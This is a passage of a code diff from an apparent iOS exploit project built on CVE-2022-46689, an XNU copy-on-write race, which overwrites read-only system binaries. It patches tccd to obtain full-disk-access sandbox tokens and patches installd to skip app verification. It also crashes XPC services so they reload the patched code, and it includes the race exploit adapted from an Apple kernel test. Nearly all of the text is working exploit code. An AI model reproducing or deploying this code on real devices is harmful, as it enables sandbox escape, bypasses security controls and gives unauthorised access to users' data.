offsets.of_addr_s_kTCCSML) =
tRBase;
*(uint64_t*)(mutableBytes + offsets.of_addr_s_kTCCSML + 8) =
strlen("com.apple.app-sandbox.read-write");
}
if (offsets.is_arm64e) {
// make sandbox_init call return 0;
struct dyld_chained_ptr_arm64e_auth_rebase tRBase = {
.auth = 1,
.bind = 0,
.next = 1,
.key = 0, // IA
.addrDiv = 1,
.diversity = 0,
.target = offsets.of_return_0,
};
*(struct dyld_chained_ptr_arm64e_auth_rebase*)(mutableBytes +
offsets.of_auth_got_sb_init) =
tRBase;
} else {
// make sandbox_init call return 0;
struct dyld_chained_ptr_64_rebase tRBase = {
.bind = 0,
.next = 2,
.target = offsets.of_return_0,
};
*(struct dyld_chained_ptr_64_rebase*)(mutableBytes + offsets.of_auth_got_sb_init) =
tRBase;
}
return data;
}
static bool over_write_file(int fd, NSData* sourceData) {
for (int off = 0; off < sourceData.length; off += 0x4000) {
bool success = false;
for (int i = 0; i < 2; i++) {
if (unalign_csr(
fd, off, sourceData.bytes + off,
off + 0x4000 > sourceData.length ? sourceData.length - off : 0x4000)) {
success = true;
break;
}
}
if (!success) {
return false;
}
}
return true;
}
static void grant_fda_impl(void (^completion)(NSString* extension_token,
NSError* _Nullable error)) {
// char* targetPath = "/System/Library/PrivateFrameworks/TCC.framework/Support/tccd";
char* targetPath = "/Nope";
int fd = open(targetPath, O_RDONLY | O_CLOEXEC);
if (fd == -1) {
// iOS 15.3 and below
// targetPath = "/System/Library/PrivateFrameworks/TCC.framework/tccd";
targetPath = "/Nope";
fd = open(targetPath, O_RDONLY | O_CLOEXEC);
}
off_t targetLength = lseek(fd, 0, SEEK_END);
lseek(fd, 0, SEEK_SET);
void* targetMap = mmap(nil, targetLength, PROT_READ, MAP_SHARED, fd, 0);
NSData* originalData = [NSData dataWithBytes:targetMap length:targetLength];
NSData* sourceData = patch_tcc_daemon(targetMap, targetLength);
if (!sourceData) {
completion(nil, [NSError errorWithDomain:@"com.worthdoingbadly.fulldiskaccess"
code:5
userInfo:@{NSLocalizedDescriptionKey : @"Can't patchfind."}]);
return;
}
if (!over_write_file(fd, sourceData)) {
over_write_file(fd, originalData);
munmap(targetMap, targetLength);
completion(
nil, [NSError errorWithDomain:@"com.worthdoingbadly.fulldiskaccess"
code:1
userInfo:@{
NSLocalizedDescriptionKey : @"Can't overwrite file: your device may "
@"not be vulnerable to CVE-2022-46689."
}]);
return;
}
munmap(targetMap, targetLength);
// crash_with_xpc_thingy("com.apple.tccd");
sleep(1);
call_tcc_daemon(^(NSString* _Nullable extension_token) {
over_write_file(fd, originalData);
// crash_with_xpc_thingy("com.apple.tccd");
NSError* returnError = nil;
if (extension_token == nil) {
returnError =
[NSError errorWithDomain:@"com.worthdoingbadly.fulldiskaccess"
code:2
userInfo:@{
NSLocalizedDescriptionKey : @"no extension token returned."
}];
} else if (![extension_token containsString:@"com.apple.app-sandbox.read-write"]) {
returnError = [NSError
errorWithDomain:@"com.worthdoingbadly.fulldiskaccess"
code:3
userInfo:@{
NSLocalizedDescriptionKey : @"failed: returned a media library token "
@"instead of an app sandbox token."
}];
extension_token = nil;
}
completion(extension_token, returnError);
});
}
void grant_fda(void (^completion)(NSError* _Nullable)) {
if (!NSClassFromString(@"NSPresentationIntent")) {
// class introduced in iOS 15.0.
// TODO(zhuowei): maybe check the actual OS version instead?
completion([NSError
errorWithDomain:@"com.worthdoingbadly.fulldiskaccess"
code:6
userInfo:@{
NSLocalizedDescriptionKey :
@"Not supported on iOS 14 and below."
}]);
return;
}
NSURL* documentDirectory = [NSFileManager.defaultManager URLsForDirectory:NSDocumentDirectory
inDomains:NSUserDomainMask][0];
NSURL* sourceURL =
[documentDirectory URLByAppendingPathComponent:@"fda_token.txt"];
NSError* error = nil;
NSString* cachedToken = [NSString stringWithContentsOfURL:sourceURL
encoding:NSUTF8StringEncoding
error:&error];
if (cachedToken) {
int64_t handle = sandbox_extension_consume(cachedToken.UTF8String);
if (handle > 0) {
// cached version worked
completion(nil);
return;
}
}
grant_fda_impl(^(NSString* extension_token, NSError* _Nullable error) {
if (error) {
completion(error);
return;
}
int64_t handle = sandbox_extension_consume(extension_token.UTF8String);
if (handle <= 0) {
completion([NSError
errorWithDomain:@"com.worthdoingbadly.fulldiskaccess"
code:4
userInfo:@{NSLocalizedDescriptionKey : @"Failed to consume generated extension"}]);
return;
}
[extension_token writeToURL:sourceURL
atomically:true
encoding:NSUTF8StringEncoding
error:&error];
completion(nil);
});
}
/// MARK - installd patch
struct daemon_remove_app_limit_offsets {
uint64_t offset_objc_method_list_t_MIInstallableBundle;
uint64_t offset_objc_class_rw_t_MIInstallableBundle_baseMethods;
uint64_t offset_data_const_end_padding;
// MIUninstallRecord::supportsSecureCoding
uint64_t offset_return_true;
};
struct daemon_remove_app_limit_offsets gAppLimitOffsets = {
.offset_objc_method_list_t_MIInstallableBundle = 0x519b0,
.offset_objc_class_rw_t_MIInstallableBundle_baseMethods = 0x804e8,
.offset_data_const_end_padding = 0x79c38,
.offset_return_true = 0x19860,
};
static uint64_t pchfind_find_rwt_base_methods(void* execmap,
size_t executable_length,
const char* needle) {
void* str_offset = memmem(execmap, executable_length, needle, strlen(needle) + 1);
if (!str_offset) {
return 0;
}
uint64_t str_file_offset = str_offset - execmap;
for (int i = 0; i < executable_length - 8; i += 8) {
uint64_t val = *(uint64_t*)(execmap + i);
if ((val & 0xfffffffful) != str_file_offset) {
continue;
}
// baseMethods
if (*(uint64_t*)(execmap + i + 8) != 0) {
return i + 8;
}
}
return 0;
}
static uint64_t pchfind_returns_true(void* execmap, size_t executable_length) {
// mov w0, #1
// ret
static const char needle[] = {0x20, 0x00, 0x80, 0x52, 0xc0, 0x03, 0x5f, 0xd6};
void* offset = memmem(execmap, executable_length, needle, sizeof(needle));
if (!offset) {
return 0;
}
return offset - execmap;
}
static bool pchfind_deaaamon(void* execmap, size_t executable_length,
struct daemon_remove_app_limit_offsets* offsets) {
struct segment_command_64* data_const_segment = nil;
struct symtab_command* symtab_command = nil;
struct dysymtab_command* dysymtab_command = nil;
if (!pchfind_sections(execmap, &data_const_segment, &symtab_command,
&dysymtab_command)) {
// printf("no sections\n");
return false;
}
if ((offsets->offset_data_const_end_padding = pchfind_get_padding(data_const_segment)) == 0) {
// printf("no padding\n");
return false;
}
if ((offsets->offset_objc_class_rw_t_MIInstallableBundle_baseMethods =
pchfind_find_rwt_base_methods(execmap, executable_length,
"MIInstallableBundle")) == 0) {
// printf("no MIInstallableBundle class_rw_t\n");
return false;
}
offsets->offset_objc_method_list_t_MIInstallableBundle =
(*(uint64_t*)(execmap +
offsets->offset_objc_class_rw_t_MIInstallableBundle_baseMethods)) &
0xffffffull;
if ((offsets->offset_return_true = pchfind_returns_true(execmap, executable_length)) ==
0) {
// printf("no return true\n");
return false;
}
return true;
}
struct objc_method {
int32_t name;
int32_t types;
int32_t imp;
};
struct objc_method_list {
uint32_t entsizeAndFlags;
uint32_t count;
struct objc_method methods[];
};
static void patch_cpy_methods(void* mutableBytes, uint64_t old_offset,
uint64_t new_offset, uint64_t* out_copied_length,
void (^callback)(const char* sel,
uint64_t* inout_function_pointer)) {
struct objc_method_list* original_list = mutableBytes + old_offset;
struct objc_method_list* new_list = mutableBytes + new_offset;
*out_copied_length =
sizeof(struct objc_method_list) + original_list->count * sizeof(struct objc_method);
new_list->entsizeAndFlags = original_list->entsizeAndFlags;
new_list->count = original_list->count;
for (int method_index = 0; method_index < original_list->count; method_index++) {
struct objc_method* method = &original_list->methods[method_index];
// Relative pointers
uint64_t name_file_offset = ((uint64_t)(&method->name)) - (uint64_t)mutableBytes + method->name;
uint64_t types_file_offset =
((uint64_t)(&method->types)) - (uint64_t)mutableBytes + method->types;
uint64_t imp_file_offset = ((uint64_t)(&method->imp)) - (uint64_t)mutableBytes + method->imp;
const char* sel = mutableBytes + (*(uint64_t*)(mutableBytes + name_file_offset) & 0xffffffull);
callback(sel, &imp_file_offset);
struct objc_method* new_method = &new_list->methods[method_index];
new_method->name = (int32_t)((int64_t)name_file_offset -
(int64_t)((uint64_t)&new_method->name - (uint64_t)mutableBytes));
new_method->types = (int32_t)((int64_t)types_file_offset -
(int64_t)((uint64_t)&new_method->types - (uint64_t)mutableBytes));
new_method->imp = (int32_t)((int64_t)imp_file_offset -
(int64_t)((uint64_t)&new_method->imp - (uint64_t)mutableBytes));
}
};
static NSData* make_installdaemon_patch(void* executableMap, size_t executableLength) {
struct daemon_remove_app_limit_offsets offsets = {};
if (!pchfind_deaaamon(executableMap, executableLength, &offsets)) {
return nil;
}
NSMutableData* data = [NSMutableData dataWithBytes:executableMap length:executableLength];
char* mutableBytes = data.mutableBytes;
uint64_t current_empty_space = offsets.offset_data_const_end_padding;
uint64_t copied_size = 0;
uint64_t new_method_list_offset = current_empty_space;
patch_cpy_methods(mutableBytes, offsets.offset_objc_method_list_t_MIInstallableBundle,
current_empty_space, &copied_size,
^(const char* sel, uint64_t* inout_address) {
if (strcmp(sel, "performVerificationWithError:") != 0) {
return;
}
*inout_address = offsets.offset_return_true;
});
current_empty_space += copied_size;
((struct
dyld_chained_ptr_arm64e_auth_rebase*)(mutableBytes +
offsets
.offset_objc_class_rw_t_MIInstallableBundle_baseMethods))
->target = new_method_list_offset;
return data;
}
bool installdaemon_patch() {
const char* targetPath = "/usr/libexec/installd";
int fd = open(targetPath, O_RDONLY | O_CLOEXEC);
off_t targetLength = lseek(fd, 0, SEEK_END);
lseek(fd, 0, SEEK_SET);
void* targetMap = mmap(nil, targetLength, PROT_READ, MAP_SHARED, fd, 0);
NSData* originalData = [NSData dataWithBytes:targetMap length:targetLength];
NSData* sourceData = make_installdaemon_patch(targetMap, targetLength);
if (!sourceData) {
//can't patchfind
// NSLog(@"wuiydqw98uuqwd");
return false;
}
if (!over_write_file(fd, sourceData)) {
over_write_file(fd, originalData);
munmap(targetMap, targetLength);
//can't overwrite
// NSLog(@"wfqiohuwdhuiqoji");
return false;
}
munmap(targetMap, targetLength);
crash_with_xpc_thingy("com.apple.mobile.installd");
sleep(1);
// TODO(zhuowei): for now we revert it once installd starts
// so the change will only last until when this installd exits
// over_write_file(fd, originalData);
return true;
}

View File

@@ -0,0 +1,12 @@
#ifndef helpers_h
#define helpers_h
char* get_temporary_file_location_paths(void);
void test_nsexpressions(void);
char* setup_temporary_file(void);
void crash_with_xpc_thingy(char* service_name);
#define ROUND_DOWN_PAGE(val) (val & ~(PAGE_SIZE - 1ULL))
#endif /* helpers_h */

View File

@@ -0,0 +1,139 @@
#import <Foundation/Foundation.h>
#include <string.h>
#include <mach/mach.h>
#include <dirent.h>
char* get_temporary_file_location_paths(void) {
return strdup([[NSTemporaryDirectory() stringByAppendingPathComponent:@"AAAAs"] fileSystemRepresentation]);
}
// create a read-only test file we can target:
char* setup_temporary_file(void) {
char* path = get_temporary_file_location_paths();
// printf("path: %s\n", path);
FILE* f = fopen(path, "w");
if (!f) {
// printf("opening the tmp file failed...\n");
return NULL;
}
char* buf = malloc(PAGE_SIZE*10);
memset(buf, 'A', PAGE_SIZE*10);
fwrite(buf, PAGE_SIZE*10, 1, f);
//fclose(f);
return path;
}
kern_return_t
bootstrap_look_up(mach_port_t bp, const char* service_name, mach_port_t *sp);
struct x_p_c_w_zerozero_t {
mach_msg_header_t hdr;
mach_msg_body_t body;
mach_msg_port_descriptor_t client_port;
mach_msg_port_descriptor_t reply_port;
};
mach_port_t get_and_send_this_whatever_once_wow(mach_port_t recv) {
mach_port_t so = MACH_PORT_NULL;
mach_msg_type_name_t type = 0;
kern_return_t err = mach_port_extract_right(mach_task_self(), recv, MACH_MSG_TYPE_MAKE_SEND_ONCE, &so, &type);
if (err != KERN_SUCCESS) {
//a=port right extraction failed: %s\n
// printf("PREFail: %s\n", mach_error_string(err));
return MACH_PORT_NULL;
}
//made so: 0x%x from recv: 0x%x\n
// printf("ms 0x%x fr: 0x%x\n", so, recv);
return so;
}
// copy-pasted from an exploit I wrote in 2019...
// still works...
// (in the exploit for this: https://googleprojectzero.blogspot.com/2019/04/splitting-atoms-in-xnu.html )
void crash_with_xpc_thingy(char* service_name) {
mach_port_t client_port = MACH_PORT_NULL;
mach_port_t reply_port = MACH_PORT_NULL;
mach_port_t service_port = MACH_PORT_NULL;
kern_return_t err = bootstrap_look_up(bootstrap_port, service_name, &service_port);
if(err != KERN_SUCCESS){
//unable to look up
// printf("utluqwd %s\n", service_name);
return;
}
if (service_port == MACH_PORT_NULL) {
//bad service port
// printf("wih1221udq\n");
return;
}
// allocate the client and reply port:
err = mach_port_allocate(mach_task_self(), MACH_PORT_RIGHT_RECEIVE, &client_port);
if (err != KERN_SUCCESS) {
//port allocation failed:
// printf("padiuhewi %s\n", mach_error_string(err));
return;
}
mach_port_t so0 = get_and_send_this_whatever_once_wow(client_port);
mach_port_t so1 = get_and_send_this_whatever_once_wow(client_port);
// insert a send so we maintain the ability to send to this port
err = mach_port_insert_right(mach_task_self(), client_port, client_port, MACH_MSG_TYPE_MAKE_SEND);
if (err != KERN_SUCCESS) {
//port right insertion failed:
// printf("weediuwe %s\n", mach_error_string(err));
return;
}
err = mach_port_allocate(mach_task_self(), MACH_PORT_RIGHT_RECEIVE, &reply_port);
if (err != KERN_SUCCESS) {
//port allocation failed:
// printf("wuiq21d %s\n", mach_error_string(err));
return;
}
struct x_p_c_w_zerozero_t msg;
memset(&msg.hdr, 0, sizeof(msg));
msg.hdr.msgh_bits = MACH_MSGH_BITS_SET(MACH_MSG_TYPE_COPY_SEND, 0, 0, MACH_MSGH_BITS_COMPLEX);
msg.hdr.msgh_size = sizeof(msg);
msg.hdr.msgh_remote_port = service_port;
msg.hdr.msgh_id = 'w00t';
msg.body.msgh_descriptor_count = 2;
msg.client_port.name = client_port;
msg.client_port.disposition = MACH_MSG_TYPE_MOVE_RECEIVE; // we still keep the send
msg.client_port.type = MACH_MSG_PORT_DESCRIPTOR;
msg.reply_port.name = reply_port;
msg.reply_port.disposition = MACH_MSG_TYPE_MAKE_SEND;
msg.reply_port.type = MACH_MSG_PORT_DESCRIPTOR;
err = mach_msg(&msg.hdr,
MACH_SEND_MSG|MACH_MSG_OPTION_NONE,
msg.hdr.msgh_size,
0,
MACH_PORT_NULL,
MACH_MSG_TIMEOUT_NONE,
MACH_PORT_NULL);
if (err != KERN_SUCCESS) {
//w00t message send failed:
// printf("ondwehu %s\n", mach_error_string(err));
return;
} else {
//sent xpc w00t message\n
// printf("wq98ywqe");
}
mach_port_deallocate(mach_task_self(), so0);
mach_port_deallocate(mach_task_self(), so1);
return;
}

View File

@@ -0,0 +1,370 @@
// from https://github.com/apple-oss-distributions/xnu/blob/xnu-8792.61.2/tests/vm/vm_unaligned_copy_switch_race.c
// modified to compile outside of XNU
#include <pthread.h>
#include <dispatch/dispatch.h>
#include <stdio.h>
#include <mach/mach_init.h>
#include <mach/mach_port.h>
#include <mach/vm_map.h>
#include <fcntl.h>
#include <sys/mman.h>
//vm_unaligned_copy_switch_race
#include "vm_unalign_csr.h"
#define T_QUIET
#define T_EXPECT_MACH_SUCCESS(a, b)
#define T_EXPECT_MACH_ERROR(a, b, c)
#define T_ASSERT_MACH_SUCCESS(a, b, ...)
#define T_ASSERT_MACH_ERROR(a, b, c)
#define T_ASSERT_POSIX_SUCCESS(a, b)
#define T_ASSERT_EQ(a, b, c) do{if ((a) != (b)) { fprintf(stderr, c "\n"); exit(1); }}while(0)
#define T_ASSERT_NE(a, b, c) do{if ((a) == (b)) { fprintf(stderr, c "\n"); exit(1); }}while(0)
#define T_ASSERT_TRUE(a, b, ...)
#define T_LOG(a, ...) fprintf(stderr, a "\n", __VA_ARGS__)
#define T_DECL(a, b) static void a(void)
#define T_PASS(a, ...) fprintf(stderr, a "\n", __VA_ARGS__)
struct contextual_structure {
vm_size_t ob_sizing;
vm_address_t vmaddress_zeroe;
mach_port_t memory_entry_r_o;
mach_port_t memory_entry_r_w;
dispatch_semaphore_t currently_active_sem;
pthread_mutex_t mutex_thingy;
volatile bool finished;
};
//switcheroo_thread
static void *
sro_thread(__unused void *arg)
{
kern_return_t kr;
struct contextual_structure *ctx;
ctx = (struct contextual_structure *)arg;
/* tell main thread we're ready to run */
dispatch_semaphore_signal(ctx->currently_active_sem);
while (!ctx->finished) {
/* wait for main thread to be done setting things up */
pthread_mutex_lock(&ctx->mutex_thingy);
if (ctx->finished) {
pthread_mutex_unlock(&ctx->mutex_thingy);
break;
}
/* switch e0 to RW mapping */
kr = vm_map(mach_task_self(),
&ctx->vmaddress_zeroe,
ctx->ob_sizing,
0, /* mask */
VM_FLAGS_FIXED | VM_FLAGS_OVERWRITE,
ctx->memory_entry_r_w,
0,
FALSE, /* copy */
VM_PROT_READ | VM_PROT_WRITE,
VM_PROT_READ | VM_PROT_WRITE,
VM_INHERIT_DEFAULT);
T_QUIET; T_EXPECT_MACH_SUCCESS(kr, " vm_map() RW");
/* wait a little bit */
usleep(100);
/* switch bakc to original RO mapping */
kr = vm_map(mach_task_self(),
&ctx->vmaddress_zeroe,
ctx->ob_sizing,
0, /* mask */
VM_FLAGS_FIXED | VM_FLAGS_OVERWRITE,
ctx->memory_entry_r_o,
0,
FALSE, /* copy */
VM_PROT_READ,
VM_PROT_READ,
VM_INHERIT_DEFAULT);
T_QUIET; T_EXPECT_MACH_SUCCESS(kr, " vm_map() RO");
/* tell main thread we're don switching mappings */
pthread_mutex_unlock(&ctx->mutex_thingy);
usleep(100);
}
return NULL;
}
//unaligned_copy_switch_race
bool unalign_csr(int file_to_bake, off_t the_offset_of_the_file, const void* what_do_we_overwrite_this_file_with, size_t what_is_the_length_of_this_overwrite_data) {
bool retval = false;
pthread_t th = NULL;
int ret;
kern_return_t kr;
time_t start, duration;
#if 0
mach_msg_type_number_t cow_read_size;
#endif
vm_size_t copied_size;
int loops;
vm_address_t e2, e5;
struct contextual_structure context1, *ctx;
int kern_success = 0, kern_protection_failure = 0, kern_other = 0;
vm_address_t ro_addr, tmp_addr;
memory_object_size_t mo_size;
ctx = &context1;
ctx->ob_sizing = 256 * 1024;
void* file_mapped = mmap(NULL, ctx->ob_sizing, PROT_READ, MAP_SHARED, file_to_bake, the_offset_of_the_file);
if (file_mapped == MAP_FAILED) {
// fprintf(stderr, "failed to map\n");
return false;
}
if (!memcmp(file_mapped, what_do_we_overwrite_this_file_with, what_is_the_length_of_this_overwrite_data)) {
// fprintf(stderr, "already the same?\n");
munmap(file_mapped, ctx->ob_sizing);
return true;
}
ro_addr = (vm_address_t)file_mapped;
ctx->vmaddress_zeroe = 0;
ctx->currently_active_sem = dispatch_semaphore_create(0);
//c=dispatch_semaphore_create
T_QUIET; T_ASSERT_NE(ctx->currently_active_sem, NULL, "wqdwqd");
ret = pthread_mutex_init(&ctx->mutex_thingy, NULL);
T_QUIET; T_ASSERT_POSIX_SUCCESS(ret, "pthread_mutex_init");
ctx->finished = false;
ctx->memory_entry_r_w = MACH_PORT_NULL;
ctx->memory_entry_r_o = MACH_PORT_NULL;
#if 0
/* allocate our attack target memory */
kr = vm_allocate(mach_task_self(),
&ro_addr,
ctx->ob_sizing,
VM_FLAGS_ANYWHERE);
T_QUIET; T_ASSERT_MACH_SUCCESS(kr, "vm_allocate ro_addr");
/* initialize to 'A' */
memset((char *)ro_addr, 'A', ctx->ob_sizing);
#endif
/* make it read-only */
kr = vm_protect(mach_task_self(),
ro_addr,
ctx->ob_sizing,
TRUE, /* set_maximum */
VM_PROT_READ);
T_QUIET; T_ASSERT_MACH_SUCCESS(kr, "vm_protect ro_addr");
/* make sure we can't get read-write handle on that target memory */
mo_size = ctx->ob_sizing;
kr = mach_make_memory_entry_64(mach_task_self(),
&mo_size,
ro_addr,
MAP_MEM_VM_SHARE | VM_PROT_READ | VM_PROT_WRITE,
&ctx->memory_entry_r_o,
MACH_PORT_NULL);
T_QUIET; T_ASSERT_MACH_ERROR(kr, KERN_PROTECTION_FAILURE, "make_mem_entry() RO");
/* take read-only handle on that target memory */
mo_size = ctx->ob_sizing;
kr = mach_make_memory_entry_64(mach_task_self(),
&mo_size,
ro_addr,
MAP_MEM_VM_SHARE | VM_PROT_READ,
&ctx->memory_entry_r_o,
MACH_PORT_NULL);
T_QUIET; T_ASSERT_MACH_SUCCESS(kr, "make_mem_entry() RO");
//c= wrong mem_entry size
T_QUIET; T_ASSERT_EQ(mo_size, (memory_object_size_t)ctx->ob_sizing, "uwdihiu");
/* make sure we can't map target memory as writable */
tmp_addr = 0;
kr = vm_map(mach_task_self(),
&tmp_addr,
ctx->ob_sizing,
0, /* mask */
VM_FLAGS_ANYWHERE,
ctx->memory_entry_r_o,
0,
FALSE, /* copy */
VM_PROT_READ,
VM_PROT_READ | VM_PROT_WRITE,
VM_INHERIT_DEFAULT);
T_QUIET; T_EXPECT_MACH_ERROR(kr, KERN_INVALID_RIGHT, " vm_map() mem_entry_rw");
tmp_addr = 0;
kr = vm_map(mach_task_self(),
&tmp_addr,
ctx->ob_sizing,
0, /* mask */
VM_FLAGS_ANYWHERE,
ctx->memory_entry_r_o,
0,
FALSE, /* copy */
VM_PROT_READ | VM_PROT_WRITE,
VM_PROT_READ | VM_PROT_WRITE,
VM_INHERIT_DEFAULT);
T_QUIET; T_EXPECT_MACH_ERROR(kr, KERN_INVALID_RIGHT, " vm_map() mem_entry_rw");
/* allocate a source buffer for the unaligned copy */
kr = vm_allocate(mach_task_self(),
&e5,
ctx->ob_sizing * 2,
VM_FLAGS_ANYWHERE);
T_QUIET; T_ASSERT_MACH_SUCCESS(kr, "vm_allocate e5");
/* initialize to 'C' */
memset((char *)e5, 'C', ctx->ob_sizing * 2);
char* e5_overwrite_ptr = (char*)(e5 + ctx->ob_sizing - 1);
memcpy(e5_overwrite_ptr, what_do_we_overwrite_this_file_with, what_is_the_length_of_this_overwrite_data);
int overwrite_first_diff_offset = -1;
char overwrite_first_diff_value = 0;
for (int off = 0; off < what_is_the_length_of_this_overwrite_data; off++) {
if (((char*)ro_addr)[off] != e5_overwrite_ptr[off]) {
overwrite_first_diff_offset = off;
overwrite_first_diff_value = ((char*)ro_addr)[off];
}
}
if (overwrite_first_diff_offset == -1) {
//b=no diff?
fprintf(stderr, "uewiyfih");
return false;
}
/*
* get a handle on some writable memory that will be temporarily
* switched with the read-only mapping of our target memory to try
* and trick copy_unaligned to write to our read-only target.
*/
tmp_addr = 0;
kr = vm_allocate(mach_task_self(),
&tmp_addr,
ctx->ob_sizing,
VM_FLAGS_ANYWHERE);
T_QUIET; T_ASSERT_MACH_SUCCESS(kr, "vm_allocate() some rw memory");
/* initialize to 'D' */
memset((char *)tmp_addr, 'D', ctx->ob_sizing);
/* get a memory entry handle for that RW memory */
mo_size = ctx->ob_sizing;
kr = mach_make_memory_entry_64(mach_task_self(),
&mo_size,
tmp_addr,
MAP_MEM_VM_SHARE | VM_PROT_READ | VM_PROT_WRITE,
&ctx->memory_entry_r_w,
MACH_PORT_NULL);
T_QUIET; T_ASSERT_MACH_SUCCESS(kr, "make_mem_entry() RW");
//c=wrong mem_entry size
T_QUIET; T_ASSERT_EQ(mo_size, (memory_object_size_t)ctx->ob_sizing, "weouhdqhuow");
kr = vm_deallocate(mach_task_self(), tmp_addr, ctx->ob_sizing);
T_QUIET; T_ASSERT_MACH_SUCCESS(kr, "vm_deallocate() tmp_addr 0x%llx", (uint64_t)tmp_addr);
tmp_addr = 0;
pthread_mutex_lock(&ctx->mutex_thingy);
/* start racing thread */
ret = pthread_create(&th, NULL, sro_thread, (void *)ctx);
T_QUIET; T_ASSERT_POSIX_SUCCESS(ret, "pthread_create");
/* wait for racing thread to be ready to run */
dispatch_semaphore_wait(ctx->currently_active_sem, DISPATCH_TIME_FOREVER);
duration = 10; /* 10 seconds */
// T_LOG("Testing for %ld seconds...", duration);
for (start = time(NULL), loops = 0;
time(NULL) < start + duration;
loops++) {
/* reserve space for our 2 contiguous allocations */
e2 = 0;
kr = vm_allocate(mach_task_self(),
&e2,
2 * ctx->ob_sizing,
VM_FLAGS_ANYWHERE);
T_QUIET; T_ASSERT_MACH_SUCCESS(kr, "vm_allocate to reserve e2+e0");
/* make 1st allocation in our reserved space */
kr = vm_allocate(mach_task_self(),
&e2,
ctx->ob_sizing,
VM_FLAGS_FIXED | VM_FLAGS_OVERWRITE | VM_MAKE_TAG(240));
T_QUIET; T_ASSERT_MACH_SUCCESS(kr, "vm_allocate e2");
/* initialize to 'B' */
memset((char *)e2, 'B', ctx->ob_sizing);
/* map our read-only target memory right after */
ctx->vmaddress_zeroe = e2 + ctx->ob_sizing;
kr = vm_map(mach_task_self(),
&ctx->vmaddress_zeroe,
ctx->ob_sizing,
0, /* mask */
VM_FLAGS_FIXED | VM_FLAGS_OVERWRITE | VM_MAKE_TAG(241),
ctx->memory_entry_r_o,
0,
FALSE, /* copy */
VM_PROT_READ,
VM_PROT_READ,
VM_INHERIT_DEFAULT);
T_QUIET; T_EXPECT_MACH_SUCCESS(kr, " vm_map() mem_entry_ro");
/* let the racing thread go */
pthread_mutex_unlock(&ctx->mutex_thingy);
/* wait a little bit */
usleep(100);
/* trigger copy_unaligned while racing with other thread */
kr = vm_read_overwrite(mach_task_self(),
e5,
ctx->ob_sizing - 1 + what_is_the_length_of_this_overwrite_data,
e2 + 1,
&copied_size);
T_QUIET;
T_ASSERT_TRUE(kr == KERN_SUCCESS || kr == KERN_PROTECTION_FAILURE,
"vm_read_overwrite kr %d", kr);
switch (kr) {
case KERN_SUCCESS:
/* the target was RW */
kern_success++;
break;
case KERN_PROTECTION_FAILURE:
/* the target was RO */
kern_protection_failure++;
break;
default:
/* should not happen */
kern_other++;
break;
}
/* check that our read-only memory was not modified */
#if 0
//c = RO mapping was modified
T_QUIET; T_ASSERT_EQ(((char *)ro_addr)[overwrite_first_diff_offset], overwrite_first_diff_value, "cddwq");
#endif
bool is_still_equal = ((char *)ro_addr)[overwrite_first_diff_offset] == overwrite_first_diff_value;
/* tell racing thread to stop toggling mappings */
pthread_mutex_lock(&ctx->mutex_thingy);
/* clean up before next loop */
vm_deallocate(mach_task_self(), ctx->vmaddress_zeroe, ctx->ob_sizing);
ctx->vmaddress_zeroe = 0;
vm_deallocate(mach_task_self(), e2, ctx->ob_sizing);
e2 = 0;
if (!is_still_equal) {
retval = true;
// fprintf(stderr, "RO mapping was modified\n");
break;
}
}
ctx->finished = true;
pthread_mutex_unlock(&ctx->mutex_thingy);
pthread_join(th, NULL);
kr = mach_port_deallocate(mach_task_self(), ctx->memory_entry_r_w);
T_QUIET; T_ASSERT_MACH_SUCCESS(kr, "mach_port_deallocate(me_rw)");
kr = mach_port_deallocate(mach_task_self(), ctx->memory_entry_r_o);
T_QUIET; T_ASSERT_MACH_SUCCESS(kr, "mach_port_deallocate(me_ro)");
kr = vm_deallocate(mach_task_self(), ro_addr, ctx->ob_sizing);
T_QUIET; T_ASSERT_MACH_SUCCESS(kr, "vm_deallocate(ro_addr)");
kr = vm_deallocate(mach_task_self(), e5, ctx->ob_sizing * 2);
T_QUIET; T_ASSERT_MACH_SUCCESS(kr, "vm_deallocate(e5)");
//#if 0
// T_LOG("vm_read_overwrite: KERN_SUCCESS:%d KERN_PROTECTION_FAILURE:%d other:%d",
// kern_success, kern_protection_failure, kern_other);
// T_PASS("Ran %d times in %ld seconds with no failure", loops, duration);
//#endif
return retval;
}

View File

@@ -0,0 +1,8 @@
#pragma once
#include <stdlib.h>
#include <stdbool.h>
/// Uses CVE-2022-46689 to overwrite `overwrite_length` bytes of `file_to_overwrite` with `overwrite_data`, starting from `file_offset`.
/// `file_to_overwrite` should be a file descriptor opened with O_RDONLY.
/// `overwrite_length` must be less than or equal to `PAGE_SIZE`.
/// Returns `true` if the overwrite succeeded, and `false` if the device is not vulnerable.
bool unalign_csr(int file_to_bake, off_t the_offset_of_the_file, const void* what_do_we_overwrite_this_file_with, size_t what_is_the_length_of_this_overwrite_data);

Some files were not shown because too many files have changed in this diff Show More